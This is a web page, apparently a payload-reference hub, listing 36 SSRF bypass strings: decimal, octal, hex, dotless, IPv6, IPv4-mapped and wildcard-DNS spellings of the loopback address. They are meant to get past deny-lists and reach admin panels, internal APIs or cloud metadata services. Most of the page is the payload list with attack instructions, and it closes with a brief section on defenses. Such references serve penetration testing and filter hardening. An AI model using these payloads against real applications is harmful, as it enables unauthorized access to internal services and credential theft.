Skip to content

Localhost / 127.0.0.1 SSRF Bypass Payloads

Every spelling of localhost for SSRF: 127.0.0.1 shorthands, decimal/octal/hex/dotless encodings, IPv6 loopback and IPv4-mapped forms, and wildcard-DNS loopback — to beat deny-lists that string-match 127.0.0.1.

36 payloads

Use these to reach a service bound to the host itself — an admin panel, an unauthenticated internal API, or the metadata service — when the app blocks the literal "localhost" or "127.0.0.1".

The whole 127.0.0.0/8 block is loopback, and an IP has many valid textual forms the resolver treats as identical, so a deny-list that matches one spelling misses the rest.

Confirm the request is server-side with an out-of-band listener first; then work down the list until one spelling slips past the filter.

Loopback spellings

  • 127.0.0.1

    Standard loopback

  • localhost

    Hostname loopback

  • 127.1

    inet_aton shorthand

  • 127.0.1

    inet_aton 3-part shorthand

  • 0.0.0.0

    All-interfaces (often routes to loopback on Linux)

  • 0

    Zero → 0.0.0.0 in many parsers

  • 127.0.0.1.

    Trailing dot (FQDN root)

  • 0177.0.0.1

    Octal first octet

  • 0x7f.0.0.1

    Hex first octet

  • 2130706433

    Dotless decimal loopback

  • 0x7f000001

    Dotless hex loopback

  • 017700000001

    Dotless octal loopback

  • [::1]

    IPv6 loopback

  • [::ffff:127.0.0.1]

    IPv4-mapped IPv6 loopback

  • 127.0.0.1.nip.io

    Wildcard DNS loopback

  • localtest.me

    Public hostname pinned to 127.0.0.1

Numeric encodings of 127.0.0.1

Decimal, hex, octal and shorthand forms.

  • 127.0.0.1

    Canonical dotted-decimal (baseline)

  • 2130706433

    Dotless decimal (32-bit integer)

  • 0x7f000001

    Dotless hexadecimal

  • 017700000001

    Dotless octal

  • 0x7f.0x00.0x00.0x01

    Per-octet hexadecimal

  • 0177.00.00.01

    Per-octet octal (leading-zero = octal in inet_aton)

  • 0x7f.0.0.1

    Mixed hex + decimal

  • 127.0x00.0x00.1

    Mixed decimal + hex

  • 127.0.1

    3-part shorthand (last part = 16-bit)

  • 127.1

    2-part shorthand (last part = 24-bit)

  • 127.000.000.001

    Zero-padded octets (ambiguous octal/decimal across parsers)

  • 6425673729

    Decimal + 2^32 (mod-2^32 overflow bypass)

IPv6 / IPv4-mapped loopback

  • [::ffff:127.0.0.1]

    IPv4-mapped IPv6

  • [::ffff:7f00:1]

    IPv4-mapped IPv6 (hex words)

  • [::127.0.0.1]

    IPv4-compatible IPv6 (deprecated, still parsed)

  • [0:0:0:0:0:ffff:127.0.0.1]

    Fully-expanded IPv4-mapped IPv6

  • [::ffff:7f00:1]:80

    IPv4-mapped IPv6 with explicit port

  • [::1]

    IPv6 loopback

  • [0:0:0:0:0:0:0:1]

    Expanded IPv6 loopback

  • [::ffff:7f00:1]

    IPv4-mapped loopback (hex)

Defense

  • Don't build deny-lists — resolve the hostname and reject the resolved IP if it falls in loopback/private/link-local/reserved ranges.
  • Check every resolved A/AAAA record, not just the first, and pin the validated IP for the connection.
  • Drop schemes you don't need to http/https only.
  • Run the fetcher in a network namespace that physically can't reach loopback services or internal subnets.

All SSRF payload hubs